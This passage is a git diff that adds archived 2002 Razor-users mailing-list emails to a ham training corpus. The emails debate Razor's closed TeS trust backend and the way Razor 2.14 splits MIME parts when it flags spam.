<20020812203326.A1211@rover.vipul.net> <20020814141317.Q68104-100000@rockstar.stealthgeeks.net> +Mime-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020814141317.Q68104-100000@rockstar.stealthgeeks.net>; from patrick@stealthgeeks.net on Wed, Aug 14, 2002 at 02:47:02PM -0700 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-BeenThere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 14 Aug 2002 18:00:16 -0700 +Date: Wed, 14 Aug 2002 18:00:16 -0700 + +On Wed, Aug 14, 2002 at 02:47:02PM -0700, Patrick wrote: +> Is there a point that you plan on releasing detailed information about +> TeS, so we can stop engaging in idle speculation? +> +> It's not my desire to second-guess you Vipul (however much my missives +> may appear otherwise) or question the hard work you and the other +> developers have put into the system, however it seems that every request +> for such information has been met with silence. + +There are no plans for releasing details about TeS. Before the +release of Razor2, I'd pointed out that Razor2 backend (specially +TeS) will be closed. + +cheers, +vipul. + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users diff --git a/bayes/spamham/easy_ham_2/00652.be6b3138d3d7304c73ebba1ba3f687d1 b/bayes/spamham/easy_ham_2/00652.be6b3138d3d7304c73ebba1ba3f687d1 new file mode 100644 index 0000000..adbc0b3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00652.be6b3138d3d7304c73ebba1ba3f687d1 @@ -0,0 +1,110 @@ +From razor-users-admin@lists.sourceforge.net Thu Aug 15 18:54:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7AA4143C34 + for ; Thu, 15 Aug 2002 13:54:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 15 Aug 2002 18:54:09 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7FHsti11418 for ; Thu, 15 Aug 2002 18:54:55 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fOaT-0008QF-00; Thu, + 15 Aug 2002 10:39:09 -0700 +Received: from mx-out.daemonmail.net ([216.104.160.37]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17fOa8-0007v9-00 for ; Thu, + 15 Aug 2002 10:38:48 -0700 +Received: from mx0.emailqueue.net (localhost.daemonmail.net [127.0.0.1]) + by mx-out.daemonmail.net (8.9.3/8.9.3) with SMTP id KAA73195 for + ; Thu, 15 Aug 2002 10:38:43 -0700 (PDT) + (envelope-from brian@unearthed.com) +Received: from brianmay (brianmay [64.52.135.194]) by mail.unearthed.com + with ESMTP id 0rI0WvO2 Thu, 15 Aug 2002 10:37:19 -0700 (PDT) +Message-Id: <002c01c24482$762a8310$5201020a@brianmay> +From: "Brian May" +Cc: +References: <20020814180016.A24501@rover.vipul.net> + <20020814180853.F74424-100000@rockstar.stealthgeeks.net> + <20020814215136.A18098@frontier.limbo.net> +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +Organization: UnEarthed.Com +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 15 Aug 2002 10:37:37 -0700 +Date: Thu, 15 Aug 2002 10:37:37 -0700 + +Isn't eBays trust the feedback? + +----- Original Message ----- +From: "Chip Paswater" +To: "Patrick" +Cc: +Sent: Wednesday, August 14, 2002 9:51 PM +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? + + +> > > It's not my desire to second-guess you Vipul (however much my missives +> > > may appear otherwise) or question the hard work you and the other +> > > developers have put into the system, however it seems that every +request +> > > for such information has been met with silence. +> > +> > There are no plans for releasing details about TeS. Before the +> > release of Razor2, I'd pointed out that Razor2 backend (specially +> > TeS) will be closed. +> +> Thanks for the clarification. Guess it's time to find something that is +> open. +> +> Good luck. + +Why do the details of the backend need to be open? + +I don't think that Ebay publishes it's proprietary trust backend, why +should Razor? + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00653.41f993b29996e0e099849f377ae280e4 b/bayes/spamham/easy_ham_2/00653.41f993b29996e0e099849f377ae280e4 new file mode 100644 index 0000000..1630f88 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00653.41f993b29996e0e099849f377ae280e4 @@ -0,0 +1,96 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 16 10:57:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C38B343C34 + for ; Fri, 16 Aug 2002 05:56:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:56:28 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7FItS713720 for ; Thu, 15 Aug 2002 19:55:29 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fPbK-0006RR-00; Thu, + 15 Aug 2002 11:44:06 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=cynosure.darkridge.com) by usw-sf-list1.sourceforge.net with esmtp + (Exim 3.31-VA-mm2 #1 (Debian)) id 17fPaq-0000k3-00 for + ; Thu, 15 Aug 2002 11:43:36 -0700 +Received: (from jpr5@localhost) by cynosure.darkridge.com (8.11.6/8.11.5) + id g7FIhX303168 for razor-users@lists.sourceforge.net; Thu, 15 Aug 2002 + 11:43:33 -0700 +From: Jordan Ritter +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +Message-Id: <20020815184333.GA3135@darkridge.com> +References: <20020814180016.A24501@rover.vipul.net> + <20020814180853.F74424-100000@rockstar.stealthgeeks.net> + <20020814215136.A18098@frontier.limbo.net> + <002c01c24482$762a8310$5201020a@brianmay> +MIME-Version: 1.0 +Content-Type: multipart/signed; micalg=pgp-sha1; + protocol="application/pgp-signature"; + boundary="J2SCkAp4GZ/dPZZf" +Content-Disposition: inline +In-Reply-To: <002c01c24482$762a8310$5201020a@brianmay> +User-Agent: Mutt/1.4i +X-Copyright: This e-mail is Copyright (c) 2002 by jpr5@darkridge.com +X-Spamadvice: Pursuant to US Code; Title 47; Chapter 5; Subchapter II; 227 any unsolicited commercial email to this address will be subject to a download and archival fee of US$500. Pursuant to California Business & Professions Code; S17538.45 any email service provider involved in SPAM activities will be liable for statutory damages of US$50 per message, up to US$25,000 per day. Pursuant to California Penal Code; S502 any unsolicited email sent to this address is in violation of Federal Law and is subject to fine and/or imprisonment. +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 15 Aug 2002 11:43:33 -0700 +Date: Thu, 15 Aug 2002 11:43:33 -0700 + + +--J2SCkAp4GZ/dPZZf +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline + + +On Thu, Aug 15, 2002 at 10:37:37AM -0700, Brian May wrote: + +# Isn't eBays trust the feedback? + +Sure, but one can surmise that the "Star Rating" or feedback isn't an +exact correlation to their internal metrics. + + +--jordan + +--J2SCkAp4GZ/dPZZf +Content-Type: application/pgp-signature +Content-Disposition: inline + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) + +iD8DBQE9W/ZUpwQdAVEbU7oRAoa3AKCobztB2JiVbwsXV50ydjdLgEtiSwCgtG+f +Yvz2asms9q5vpwEZJZxR7bk= +=DJsq +-----END PGP SIGNATURE----- + +--J2SCkAp4GZ/dPZZf-- + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00654.7e84d693f6d2dc216aa501c47db607f7 b/bayes/spamham/easy_ham_2/00654.7e84d693f6d2dc216aa501c47db607f7 new file mode 100644 index 0000000..bae4bf8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00654.7e84d693f6d2dc216aa501c47db607f7 @@ -0,0 +1,108 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 16 10:57:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3143D43C47 + for ; Fri, 16 Aug 2002 05:56:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:56:33 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7FIvU713790 for ; Thu, 15 Aug 2002 19:57:30 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17fPj1-0006jt-00; Thu, + 15 Aug 2002 11:52:03 -0700 +Received: from h-66-134-120-173.lsanca54.covad.net ([66.134.120.173] + helo=stealthgeeks.net) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17fPik-00035h-00 for + ; Thu, 15 Aug 2002 11:51:46 -0700 +Received: (qmail 85707 invoked by uid 1001); 15 Aug 2002 18:51:43 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 15 Aug 2002 18:51:43 -0000 +From: Patrick +To: Chip Paswater +Cc: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +In-Reply-To: <20020814215136.A18098@frontier.limbo.net> +Message-Id: <20020815113236.T85313-100000@rockstar.stealthgeeks.net> +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 15 Aug 2002 11:51:43 -0700 (PDT) +Date: Thu, 15 Aug 2002 11:51:43 -0700 (PDT) + +On Wed, 14 Aug 2002, Chip Paswater wrote: + +> > > > It's not my desire to second-guess you Vipul (however much my missives +> > > > may appear otherwise) or question the hard work you and the other +> > > > developers have put into the system, however it seems that every request +> > > > for such information has been met with silence. +> > > +> > > There are no plans for releasing details about TeS. Before the +> > > release of Razor2, I'd pointed out that Razor2 backend (specially +> > > TeS) will be closed. +> > +> > Thanks for the clarification. Guess it's time to find something that is +> > open. +> > +> > Good luck. +> +> Why do the details of the backend need to be open? +> +> I don't think that Ebay publishes it's proprietary trust backend, why +> should Razor? + +[last message before I unsub] + +It's a very poor comparison. + +There is no question as to what Ebay's trust model is. It's +completely transparent. The ratings and the feedback is there for all to +see. Most importantly it relies on the individual to make the decision for +themselves rather or not to trust a buyer/seller. + +Contrast this with TeS which utilizes "sooper secret" methodologies to +determine rather or not a submitter is trusted or not and at what point +something becomes spam at some level of "confidence." + +The unfortunate thing is that in my experience Razor is an incredibly +ineffective filter at this point. The spot checking I've done indicates about +a 40% hit rate. Submissions I made a week ago still don't count as spam, +apparently because I'm not trusted enough, or enough people haven't submitted +the item, or some unknown combination thereof. Why anyone would continue to +waste their time submitting items when they aren't being accepted due to +a series of calculations which will not be shared is beyond me. + +Any trust model that cannot survive public scrutiny isn't worth trusting IMHO. + +/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + Patrick Greenwell + Asking the wrong questions is the leading cause of wrong answers +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ + + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00655.dea06b9020d30935ba9ae646d2bdbb20 b/bayes/spamham/easy_ham_2/00655.dea06b9020d30935ba9ae646d2bdbb20 new file mode 100644 index 0000000..bf77927 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00655.dea06b9020d30935ba9ae646d2bdbb20 @@ -0,0 +1,112 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 20 10:57:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B2C4043C32 + for ; Tue, 20 Aug 2002 05:56:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:56:59 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7JHTkZ02364 for ; Mon, 19 Aug 2002 18:29:46 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17gqCB-0001p0-00; Mon, + 19 Aug 2002 10:20:03 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17gqBf-000678-00 for + ; Mon, 19 Aug 2002 10:19:31 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g7JHHRp21235; Mon, 19 Aug 2002 10:17:27 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: Steve Price , razor-users@example.sourceforge.net +Message-Id: <20020819171726.GE5484@nexus.cloudmark.com> +References: <20020819141417.GS367@bsd.havk.org> + <20020819144150.GA1800@darkridge.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020819144150.GA1800@darkridge.com> +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: turning off checksums per MIME part +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 10:17:26 -0700 +Date: Mon, 19 Aug 2002 10:17:26 -0700 + + The way Razor breaks down mail is simple. If a mail contains MIME + boundaries it is split on those boundaries, each MIME part is considered + when marking the mail as spam. + + In 2.14, there are different 'logic methods' for detecting spam. + The default method 5 requires all non-contention parts to be spam for + the mail to be marked as spam. A part is considered under + contention if its not clear if its spam are not, and is relatively + rare. + + Sounds like you are not using 2.14, or maybe you're misinterpreting + the log files. Feel free to send me the log files if you think + there is a bug. + + Also, as jordan says, if you get a legit mail marked as spam (based + on whatever MIME stuff is going on), you should revoke it (which sends + all parts in) so TeS can take care of business. + + cheers, + chad + +On 19/08/02 07:41 -0700, Jordan Ritter wrote: +) If I understand you correctly, you should revoke the message en total, +) because this is one of various inputs that TeS uses to understand what +) parts are under contention. +) +) As for your question specifically, Chad can answer that (sorry, I +) don't know). +) +) --jordan +) +) On Mon, Aug 19, 2002 at 09:14:17AM -0500, Steve Price wrote: +) +) # Is there an easy way in Razor v2 to turn off detecting a message as +) # SPAM if one of the MIME parts was found in a previous SPAM? I just +) # received subscribe request to a moderated ecartis list and it was +) # detected as SPAM because it contained an empty text/plain part and +) # an "empty" (to iMail anyway) text/html part. In reality there were +) # no MIME parts to this message since the body of the email contained +) # instructions from ecartis along with a forwarded copy of the +) # subscribe request which happened to be a multipart MIME message. +) # Sure there were MIME boundaries in the forwarded message but the +) # message as received wasn't a multipart MIME message so Razor should +) # not have detected any of the MIME boundary headers in the body of +) # the forwarded message. I realized I could whitelist the part that +) # is listed but it would seem that the detection of MIME boundaries +) # should be reserved for messages that actually have multiple MIME +) # parts and not every message that looks like it might. + + + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00656.c98a29533dfb50a54f56357d231ddf13 b/bayes/spamham/easy_ham_2/00656.c98a29533dfb50a54f56357d231ddf13 new file mode 100644 index 0000000..187b5b0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00656.c98a29533dfb50a54f56357d231ddf13 @@ -0,0 +1,106 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 20 10:57:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EC18B43C34 + for ; Tue, 20 Aug 2002 05:57:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:57:41 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7JHb1Z02595 for ; Mon, 19 Aug 2002 18:37:02 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17gqMr-0004he-00; Mon, + 19 Aug 2002 10:31:05 -0700 +Received: from fly.hiwaay.net ([208.147.154.56] helo=mail.hiwaay.net) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17gqLp-00009r-00 for + ; Mon, 19 Aug 2002 10:30:02 -0700 +Received: from bsd.havk.org (user-24-214-34-165.knology.net + [24.214.34.165]) by mail.hiwaay.net (8.12.5/8.12.5) with ESMTP id + g7JHTs2j281052; Mon, 19 Aug 2002 12:29:55 -0500 (CDT) +Received: by bsd.havk.org (Postfix, from userid 1001) id 857671A786; + Mon, 19 Aug 2002 12:29:53 -0500 (CDT) +From: Steve Price +To: Chad Norwood +Cc: razor-users@example.sourceforge.net +Message-Id: <20020819172953.GF367@bsd.havk.org> +References: <20020819141417.GS367@bsd.havk.org> + <20020819144150.GA1800@darkridge.com> + <20020819171726.GE5484@nexus.cloudmark.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020819171726.GE5484@nexus.cloudmark.com> +User-Agent: Mutt/1.3.27i +X-Operating-System: FreeBSD 4.5-PRERELEASE i386 +Subject: [Razor-users] Re: turning off checksums per MIME part +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 12:29:53 -0500 +Date: Mon, 19 Aug 2002 12:29:53 -0500 + +On Mon, Aug 19, 2002 at 10:17:26AM -0700, Chad Norwood wrote: +> The way Razor breaks down mail is simple. If a mail contains MIME +> boundaries it is split on those boundaries, each MIME part is considered +> when marking the mail as spam. + +This isn't a MIME message that it is breaking down though. The +message as sent to me is just a regular one part, non-MIME message. +The contents of the message among other things is a forwarded message +(inline not as an attachment) that happens to have MIME parts. + +> In 2.14, there are different 'logic methods' for detecting spam. +> The default method 5 requires all non-contention parts to be spam for + +I see 1-4 documented in the manpage. 2 looked like a good candidate +but the manpage states that only 1, 3, and 4 are on by default. No +mention of method 5 though that I can see. + +> the mail to be marked as spam. A part is considered under +> contention if its not clear if its spam are not, and is relatively +> rare. +> +> Sounds like you are not using 2.14, or maybe you're misinterpreting + +Actually I am using 2.14. + +> the log files. Feel free to send me the log files if you think +> there is a bug. +> +> Also, as jordan says, if you get a legit mail marked as spam (based +> on whatever MIME stuff is going on), you should revoke it (which sends +> all parts in) so TeS can take care of business. + +I have to run off to a meeting but I'll send you a copy of the logs +and the message that triggered as SPAM when I get back. I'll also +revoke it along with the other 3 similar messages and the Security +Advisory that were wrongly called SPAM this morning. + +Thanks. + +-steve + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00657.fc4f6dad06d3d73f5c8280661df78ad8 b/bayes/spamham/easy_ham_2/00657.fc4f6dad06d3d73f5c8280661df78ad8 new file mode 100644 index 0000000..8f11195 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00657.fc4f6dad06d3d73f5c8280661df78ad8 @@ -0,0 +1,107 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 20 10:57:46 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4EAC143C32 + for ; Tue, 20 Aug 2002 05:57:44 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:57:44 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7JI5XZ03462 for ; Mon, 19 Aug 2002 19:05:33 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17gqou-00041f-00; Mon, + 19 Aug 2002 11:00:04 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=nexus.cloudmark.com) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17gqoN-0000rp-00 for + ; Mon, 19 Aug 2002 10:59:31 -0700 +Received: (from chad@localhost) by nexus.cloudmark.com (8.11.6/8.11.6) id + g7JHvSA22474; Mon, 19 Aug 2002 10:57:28 -0700 +X-Authentication-Warning: nexus.cloudmark.com: chad set sender to + chad@cloudmark.com using -f +From: Chad Norwood +To: Steve Price +Cc: Chad Norwood , + razor-users@lists.sourceforge.net +Message-Id: <20020819175728.GF5484@nexus.cloudmark.com> +References: <20020819141417.GS367@bsd.havk.org> + <20020819144150.GA1800@darkridge.com> + <20020819171726.GE5484@nexus.cloudmark.com> + <20020819172953.GF367@bsd.havk.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020819172953.GF367@bsd.havk.org> +User-Agent: Mutt/1.4i +Subject: [Razor-users] Re: turning off checksums per MIME part +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 19 Aug 2002 10:57:28 -0700 +Date: Mon, 19 Aug 2002 10:57:28 -0700 + +On 19/08/02 12:29 -0500, Steve Price wrote: +) On Mon, Aug 19, 2002 at 10:17:26AM -0700, Chad Norwood wrote: +) > The way Razor breaks down mail is simple. If a mail contains MIME +) > boundaries it is split on those boundaries, each MIME part is considered +) > when marking the mail as spam. +) +) This isn't a MIME message that it is breaking down though. The +) message as sent to me is just a regular one part, non-MIME message. +) The contents of the message among other things is a forwarded message +) (inline not as an attachment) that happens to have MIME parts. + + Based on your description the whole thing would be 1 part. + + If your mail contains a fwd of a mail *inline* with mime boundaries, + then your mail is all consindered to be just text. If you fwd + the mail as attachment, the attachment is considered to be a separate + part - but the attachment is not broken down further for + various reasons as mentioned before on this list. + + +) > In 2.14, there are different 'logic methods' for detecting spam. +) > The default method 5 requires all non-contention parts to be spam for +) +) I see 1-4 documented in the manpage. 2 looked like a good candidate +) but the manpage states that only 1, 3, and 4 are on by default. No +) mention of method 5 though that I can see. + + Its in the source code. + You should also see 'method 5' in your debug logs. + +) > the log files. Feel free to send me the log files if you think +) > there is a bug. +) +) I have to run off to a meeting but I'll send you a copy of the logs +) and the message that triggered as SPAM when I get back. I'll also +) revoke it along with the other 3 similar messages and the Security +) Advisory that were wrongly called SPAM this morning. + + ok. thanks. + + -chad + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + diff --git a/bayes/spamham/easy_ham_2/00658.5435061ef0a4e986500dbd90d9ae6d0b b/bayes/spamham/easy_ham_2/00658.5435061ef0a4e986500dbd90d9ae6d0b new file mode 100644 index 0000000..c6e02a6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00658.5435061ef0a4e986500dbd90d9ae6d0b @@ -0,0 +1,74 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 20 10:59:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AE27243C4B + for ; Tue, 20 Aug 2002 05:58:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:34 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7JMvhZ12597 for ; Mon, 19 Aug 2002 23:57:43 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + 